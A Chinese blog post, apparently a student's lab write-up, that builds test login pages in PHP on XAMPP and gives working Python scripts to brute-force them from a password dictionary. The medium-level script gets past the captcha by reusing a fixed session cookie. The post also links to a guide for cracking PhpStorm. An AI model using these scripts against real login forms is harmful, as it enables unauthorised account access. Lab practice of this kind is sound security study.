在瀏覽器輸入http://localhost/dashboard/,出現以下頁面,測試成功。
** 若是發現網頁找不到,那就把以前改的端口(好比我改的是8001)放在localhost後面,即:localhost:8001**
除此以外咱們還要搭建PHPSTORM環境!!! 根據這個老哥的博客來完成環境的搭建
[安裝XAMPP](http://www.cnblogs.com/Jason-Jan/p/7906773.html)
[安裝並破解PhpStorm](http://www.cnblogs.com/Jason-Jan/p/7918449.html)
源碼的部分是一個表單post給一個php頁面,形象一點也就是說在html頁面填好帳號密碼,而後數據就會傳給php來處理。
Html部分以下: (原參考博客該部分有誤,已做出修改)
<!DOCTYPEhtml> <html> <head> <meta charset="utf-8"> <title>暴力破解測試頁面</title> </head> <body> <div align="center"> <h1>暴力破解測試頁面-low</h1></div> <form action="Loginl.php" method="post" name="form"> <fieldset> <legend><b>請輸入信息</b></legend> <p>用戶名:<input type="text" name="name" id="name"></p> <p>密碼:<input type="password" name="password" id="password"></p> <p><input type="submit" value="登陸"></p> </fieldset> </form> </body> </html>
php部分以下
<!DOCTYPEhtml> <html><head><meta charset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午3:20 */ session_start(); $pwd=$_POST["password"]; $name=$_POST["name"]; if($name=="") {die("用戶名不能爲空");} if($pwd=="") {die("密碼不能爲空");} if($name=="admin"&&$pwd=="1234") {echo"登錄成功!!!";setcookie("user","$name",time()+3600);} else{echo"登錄失敗";} ?> </head> </html>
只須要使用requests模塊來進行請求訪問,使用bs4來判斷登錄是否成功,附上代碼:
無驗證碼暴力破解的python腳本
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup def crack(username='admin', password='1234566'): # 定義一個暴力破解的函數 print('正在嘗試帳號:%s,密碼:%s' % (username, password)) # 回顯輸出 url = 'http://localhost:63342/untitled2/Loginl.html' # 定義須要暴破請求的地址 datas = {'name': 'admin', 'password': password} # 定義暴力破解的帳號和密碼 header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.9', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } # 定義訪問數據包的請求頭,由於若是有防禦網站會限制ua req = requests.post(url, datas, headers=header, ) # 發送請求 # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") # 定義響應內容爲html res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') # 獲取響應信息 print res if '登錄成功' in res: # 判斷是否登錄成功 exit("密碼爲%s" % password) if __name__ == '__main__': for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): # 暴力破解的字典 crack(password=psw) pass
這一部分太簡單了,咱們很容易就實現破解。 因此很少描述。
咱們經過PGPstrom和PGPcharm實現了上一部分,而後在第二個部分的時候,咱們發現PHP頁面的url是會隨時根據驗證碼的變化而變化的,那爲了解決這個不穩定的問題,固然咱們也能夠選擇在本機系統下直接運行,這個時候就須要用到xampp了。
具體實現步驟以下:
咱們在xampp的安裝目錄下,新建一個文件夾把咱們實驗所需的文件放進去:
圖MyProject
確保Xampp的apache打開。
經過localhost:8001/LoginMid.html訪問咱們編寫好的頁面
你們能夠看到在此頁面中咱們加入了驗證碼。 稍後貼出相關代碼
咱們輸入相關信息,驗證一下代碼。發現經過xampp直接運行,咱們的url是能夠直接使用的
配置好了頁面,咱們要開始攻擊了。編寫好python腳本,同時注意:
爲了能在windows下直接使用python命令,咱們須要在系統的環境變量裏添加python路徑!把它變成咱們的一部分!
腳本編好了,軟件能夠幫咱們下載須要的插件,可是在windows環境下,咱們須要在cmd中手動下載,首先咱們進入到/Python27/Scripts/
中,在這個路徑下咱們可使用其中的pip進行咱們的下載:
PS:若是自帶的pip的版本太低須要更新,跟着命令行的提示一步步走就好了
在windows下使用python與在軟件內相同,因爲咱們的代碼使用了request模塊、bs4以及lxml,這都是咱們如今須要下載的。
pip install requests
pip install bs4
pip install (你所下載的lxml的保存路徑)/lxml-4.2.3-cp27-cp27m-win_amd64.whl
(PS:lxml本身在網上下載,要對應python版本,我下的是2.7的)
9.保證咱們代碼裏的信息與網頁信息同樣:
10.接下來咱們直接執行:python attack_3.py
<!DOCTYPEhtml><html><head><meta charset="utf-8"> <title>暴力破解測試頁面</title> </head> <body> <div align="center"><h1>暴力破解測試頁面-難度medium</h1></div> <form action="LoginMid.php" method="post"onsubmit="return judge();" name="form"> <fieldset> <legend><b>請輸入信息</b></legend> <p>用戶名:<input type="text" name="name" id="name"></p> <p>密碼:<input type="password" name="password"id="password"></p> <p>驗證碼:<input type="text" name="yzm" id="yzm"> <img src="yzm.php" onclick="this.src= 'yzm.php?nocache='+Math.random()" style="color:white"></p> <p><input type="submit" value="登陸"></p> </fieldset> </form> </body> </html>
<!DOCTYPEhtml> <html> <head> <metacharset="utf-8"> <?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:03 */ session_start(); $pwd=@$_POST["password"]; $name=@$_POST["name"]; $yzm=@$_POST["yzm"]; if($name=="") {die("user can't be NULL");} if($pwd=="") {die("password can't be NULL");} if($yzm=="") {die("yzm can't be NULL");} if($yzm!=$_SESSION['VCODE']){ die("<script>alert('yzm error!!');location='".$_SERVER['HTTP_REFERER']."'</script>");} if($name=="admin"&&$pwd=="1114") {echo"success!!!";setcookie("user","$name",time()+3600);} else {echo"failed"; } ?> </head></html>
<?php /** * Created by PhpStorm. * User: mac * Date: 2018/7/5 * Time: 下午4:04 */ session_start(); Header("Content-type:image/PNG"); //提示用戶生成PNG的圖片文件 $im= imagecreate(60,25); //建一個基於調色板的圖像 $back= imagecolorallocate($im, 245, 245, 245); //分配顏色 imagefill($im,0,0,$back); //圖像填充 $vcodes= ""; for($i=0;$i<4;$i++){ $font=imagecolorallocate($im,0,0,0); /*rand()隨機函數*/ $authnum=rand(0,9);//驗證碼的隨機數 $vcodes.=$authnum; imagestring($im,5,9+$i*10,5,$authnum,$font); } $_SESSION['VCODE']=$vcodes; imagepng($im); //把圖片輸出到瀏覽器文件 imagedestroy($im); //釋放圖片資源 ?>
#!/usr/bin/python # -*- coding: UTF-8 -*- import requests from bs4 import BeautifulSoup RCode = '6989' def crack(username='admin', password='1234566'): print'trying user:%s,pwd:%s,yzm:%s' % (username, password, RCode) # cookie={'security': 'low' , 'PHPSESSID' :'rkp71r263ucl7gg2i7t878ieli'} url = 'http://localhost:8001/MyProjects/LoginMid.php' datas = {'name': 'admin', 'password': password, 'yzm': RCode} header = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8', 'Connection': 'keep-alive', 'Cookie': 'PHPSESSID=rkp71r263ucl7gg2i7t878ieli', # 不帶cookie驗證碼會沒法使用 'Referer': 'http://localhost:8001/MyProjects/LoginMid.html', 'Upgrade-Insecure-Requests': '1' } req = requests.post(url, datas, headers=header, ) # print req.content html = BeautifulSoup(req.content, "lxml", from_encoding="utf-8") res = (''.join(html.stripped_strings).encode("unicode_escape").decode("string_escape")).decode( 'unicode-escape').encode('utf-8') print res if 'success!!!' in res: exit("pwd is %s" % password) if __name__ == '__main__': # crack() for psw in open('C:/Users/apple/Documents/WeChat Files/fcg12580/Files/dictionary.txt', 'r').read().splitlines(): crack(password=psw) pass
這其中要用到字典,我用的字典是本身生成的。路徑在python腳本中會用到哦!!!
網上的都要積分,窮苦人民還得本身動手。
此次實踐大大的加強了個人動手能力,不斷地百度,不斷地報錯,不斷地調試,終於仍是實現啦!
同時我發現:
.exe
文件支持的,使用時記得導入路徑!